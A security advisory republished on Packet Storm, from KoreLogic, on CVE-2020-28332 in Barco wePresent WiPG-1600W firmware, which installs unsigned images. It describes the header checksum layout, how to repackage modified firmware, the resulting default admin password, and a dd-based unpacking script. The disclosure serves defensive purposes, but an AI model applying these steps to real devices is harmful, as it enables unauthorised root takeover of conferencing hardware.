

## Barco wePresent Insecure Firmware Image

Authored by [Matthew Berghin](#), [Jim Becher](#) | Site [korelogic.com](#)

Posted Nov 20, 2020

Barco wePresent WiPG-1600W versions 2.5.1.8, 2.5.0.25, 2.5.0.24, and 2.4.1.19 have firmware that does not perform verification of digitally signed firmware updates and is susceptible to processing and installing modified/malicious images.

tags | [exploit](#)

advisories | [CVE-2020-28332](#)

SHA-256 | [ce155e50978552faf0e472116a9c5ce4f975a3420fd6632369708f93d1554c2a](#) [Download](#) | [Favorite](#) | [View](#)

### Related Files

#### Share This

Like Tweet LinkedIn Reddit Digg StumbleUpon

#### Change Mirror

#### Download

KL-001-2020-009 : Barco wePresent Insecure Firmware Image

Title: Barco wePresent Insecure Firmware Image

Advisory ID: KL-001-2020-009

Publication Date: 2020.11.20

Publication URL: <https://korelogic.com/Resources/Advisories/KL-001-2020-009.txt>

#### 1. Vulnerability Details

Affected Vendor: Barco  
Affected Product: wePresent WiPG-1600W  
Affected Version: 2.5.1.8, 2.5.0.25, 2.5.0.24, 2.4.1.19  
Platform: Embedded Linux  
CWE Classification: CWE-494: Download of Code Without Integrity Check  
CVE ID: CVE-2020-28332

#### 2. Vulnerability Description

The Barco wePresent firmware does not perform verification of digitally signed firmware updates and is susceptible to processing and installing modified/malicious images.

#### 3. Technical Description

The Barco wePresent firmware unpacks partially using binwalk. Using 'dd' it is possible to extract the 4 component files in the firmware. They are:

- a 512 byte header
- a cramfs file system
- a uboot
- and a tar.gz'd set of files (where the /etc/shadow file lives)

The initial attempt at modifying the firmware failed when the device computed a checksum and denied processing the modified firmware. Knowing that a checksum was used in validating firmware, the focus was on the header file. Most of the fields in the header file are text-based and easily identifiable. There were, however, fields whose purpose were not immediately obvious. After some thought and processing of the bytes, the following header file structure was identified. The following is hexdump output with comments interspersed.

```
$ hexdump -C header
00000000  61 77 2d 66 68 30 30 33 02 05 01 08 14 02 07 |aw-fh003.....|
                                     (version=2.5.1.8)
00000010  61 77 69 6e 64 2e 57 69 50 47 2d 31 36 30 2e |awind.WiPG-1600.|
00000020  57 4d 38 37 35 30 00 00 00 00 00 00 00 00 00 |Wm8750.....|
00000030  57 50 53 00 00 00 00 00 00 00 00 00 00 00 00 |WPS.....|
00000040  41 57 49 00 00 00 00 00 00 00 00 00 00 00 00 |AWZ.....|
00000050  64 65 66 61 75 6c 74 00 00 00 00 00 00 00 00 |default.....|
00000060  f3 ec 90 07 08 22 ab cf 64 65 66 61 75 6c 74 00 |.....f.default.|
                                     (0x0790ecf3 = 12693835 bytes = filesize of the firmware without the first 512 bytes, which is the header)
00000070  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |.....|
                                     (0xcfab2208 = sum32 checksum of the firmware without the first 512 bytes, which is the header)
00000080  61 77 2d 65 78 74 72 61 01 00 00 00 ff ff ff ff |aw-extra.....|
00000090  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |.....|
*
00000200
```

Generating a new firmware version involved gunzip'ing and untar'ing the filesystem, replacing the hash, and tar-gzip'ing back up. Once it is tar.gz, it is necessary to concatenate all parts of the new firmware together "without" the header file. Next, calculate the sum32 checksum on this file. With the new sum32 checksum and filesize of the tar.gz file, modify the new header file to look like:

```
00000000  61 77 2d 66 68 30 30 33 02 05 01 09 14 02 07 |aw-fh003.....|
00000010  61 77 69 6e 64 2e 57 69 50 47 2d 31 36 30 2e |awind.WiPG-1600.|
00000020  57 4d 38 37 35 30 00 00 00 00 00 00 00 00 00 |Wm8750.....|
00000030  57 50 53 00 00 00 00 00 00 00 00 00 00 00 00 |WPS.....|
00000040  41 57 49 00 00 00 00 00 00 00 00 00 00 00 00 |AWZ.....|
00000050  64 65 66 61 75 6c 74 00 00 00 00 00 00 00 00 |default.....|
00000060  5f 2a 91 07 39 66 da cf 64 65 66 61 75 6c 74 00 |f..9f..default.|
00000070  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |.....|
00000080  61 77 2d 65 78 74 72 61 01 00 00 00 ff ff ff ff |aw-extra.....|
00000090  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |.....|
*
00000200
```

Now, concatenate the header file onto the new firmware to complete the firmware packaging. This new file can now be uploaded to the wePresent device. After the firmware update, the device will revert back to the default admin password of "admin". The steps in KL-001-2020-007 (CVE-2020-28331) can be run again to re-enable SSH, and now ssh in with a known root password.

#### 4. Mitigation and Remediation Recommendation

The vendor has released an updated firmware (2.5.3.12) which remediates the described vulnerability. Firmware and release notes are available at:

<https://www.barco.com/en/support/software/R33050104>

#### 5. Credit

This vulnerability was discovered by Jim Becher (@jimbecher) and Matt Berghin (@thatguylevel) of KoreLogic, Inc.

#### 6. Disclosure Timeline

- 2020.08.24 - KoreLogic submits vulnerability details to Barco.
- 2020.08.25 - Barco acknowledges receipt and the intention to investigate.
- 2020.09.21 - Barco notifies KoreLogic that this issue, along with several others reported by KoreLogic, will require more than the standard 45 business day remediation timeline. Barco requests to delay coordinated disclosure until 2020.12.11.

### File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

### Top Authors In Last 30 Days

Red Hat 150 files

Ubuntu 68 files

LiquidWorm 23 files

Debian 16 files

malvuln 11 files

nu11security 11 files

Gentoo 9 files

Google Security Research 6 files

Julien Ahrens 4 files

T. Weber 4 files

### File Tags

ActiveX (932)

Advisory (79,754)

Arbitrary (15,694)

BBS (2,859)

Bypass (1,619)

CGI (1,018)

Code Execution (8,926)

Conference (673)

Cracker (840)

CSRF (3,290)

DoS (22,602)

Encryption (2,349)

Exploit (50,359)

File Inclusion (4,165)

File Upload (946)

Firewall (821)

Info Disclosure (2,660)

Intrusion Detection (867)

Java (2,899)

JavaScript (821)

Kernel (6,291)

Local (14,201)

Magazine (586)

Overflow (12,419)

Perl (1,418)

PHP (5,093)

Proof of Concept (2,291)

Protocol (3,435)

Python (1,467)

Remote (30,044)

Root (3,504)

Ruby (594)

Scanner (1,631)

Security Tool (7,777)

Shell (3,103)

Shellcode (1,204)

Sniffer (886)

### File Archives

December 2022

November 2022

October 2022

September 2022

August 2022

July 2022

June 2022

May 2022

April 2022

March 2022

February 2022

January 2022

Older

### Systems

AIX (426)

Apple (1,926)

BSD (370)

CentOS (55)

Cisco (1,917)

Debian (6,634)

Fedora (1,600)

FreeBSD (1,242)

Gentoo (4,272)

HPUX (878)

IOS (330)

iPhone (108)

IRIX (220)

Juniper (67)

Linux (44,315)

Mac OS X (684)

Mandriva (3,105)

NetBSD (255)

OpenBSD (479)

RedHat (12,469)

Slackware (941)

Solaris (1,607)

2020.09.23 - KoreLogic agrees to 2020.12.11 coordinated disclosure.  
2020.09.25 - Barco informs KoreLogic of their intent to acquire CVE number for this vulnerability.  
2020.11.09 - Barco shares CVE number with KoreLogic and announces their intention to release the updated firmware ahead of schedule, on 2020.11.11. Request that KoreLogic delay public disclosure until 2020.11.20.  
2020.11.11 - Barco firmware release.  
2020.11.20 - KoreLogic public disclosure.

7. Proof of Concept

```
$ more unpack-firmware.sh
#!/bin/sh
dd bs=512 if=$1 of=$1.header count=1
dd bs=512 if=$1 of=$1.cromfs skip=1 count=10240
dd bs=512 if=$1 of=$1.uboot skip=10241 count=6144
dd bs=512 if=$1 of=$1.fs.tar.gz skip=16385

$ ls -ltr
total 123972
drwxr-xr-x 5 user user      4096 Jul 17 21:12 ..
drwxr-xr-x 2 user user      4096 Jul 17 21:12 .
-rw-r--r-- 1 user user 126938867 Jul 17 21:12 awind.WIPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad

$ ./unpack-firmware.sh awind.WIPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad
140 records in
140 records out
512 bytes copied, 0.000389048 s, 1.3 MB/s
10240+0 records in
10240+0 records out
5242880 bytes (5.2 MB, 5.0 MiB) copied, 0.0501995 s, 104 MB/s
6144+0 records in
6144+0 records out
3145728 bytes (3.1 MB, 3.0 MiB) copied, 0.0120293 s, 262 MB/s
231542+1 records in
231542+1 records out
118549747 bytes (119 MB, 113 MiB) copied, 0.388187 s, 305 MB/s

$ file *
awind.WIPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad:      data
awind.WIPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.cromfs: Linux Compressed ROM File System data,
little
endian size 4452352 version #2 sorted_dirs CRC 0xd1b0b3fa, edition 0, 2359 blocks, 918 files
awind.WIPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.fs.tar.gz: gzip compressed data, last modified:
Fri Feb  7
05:57:05 2020, from Unix
awind.WIPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.header:  data
awind.WIPG-1600W.wm8750_2.5.1.8_20-02-07-1343.a2e02.nad.uboot:  u-boot legacy uImage, Linux-2.6.32.9-
default,
Linux/ARM, OS Kernel Image (Not compressed), 2104776 bytes, Thu May 30 06:06:07 2019, Load Address: 0x00008000,
Entry
Point: 0x00008000, Header CRC: 0xB2248B24, Data CRC: 0xD50B7080

The contents of this advisory are copyright(c) 2020
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt
```

Spoof (2,166) SUSE (1,444)  
SQL Injection (16,102) Ubuntu (8,199)  
TCP (2,379) UNIX (9,159)  
Trojan (686) UnixWare (185)  
UDP (676) Windows (6,511)  
Virus (662) Other  
Vulnerability (31,136)  
Web (9,365)  
Whitepaper (3,729)  
x86 (946)  
XSS (17,494)  
Other

[Login](#) or [Register](#) to add favorites

**packet storm**  
© 2022 Packet Storm. All rights reserved.

**Site Links**


News by Month
News Tags
Files by Month
File Tags
File Directory


**About Us**

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

**Hosting By**

Rokasec
---------

 Follow us on Twitter

 Subscribe to an RSS Feed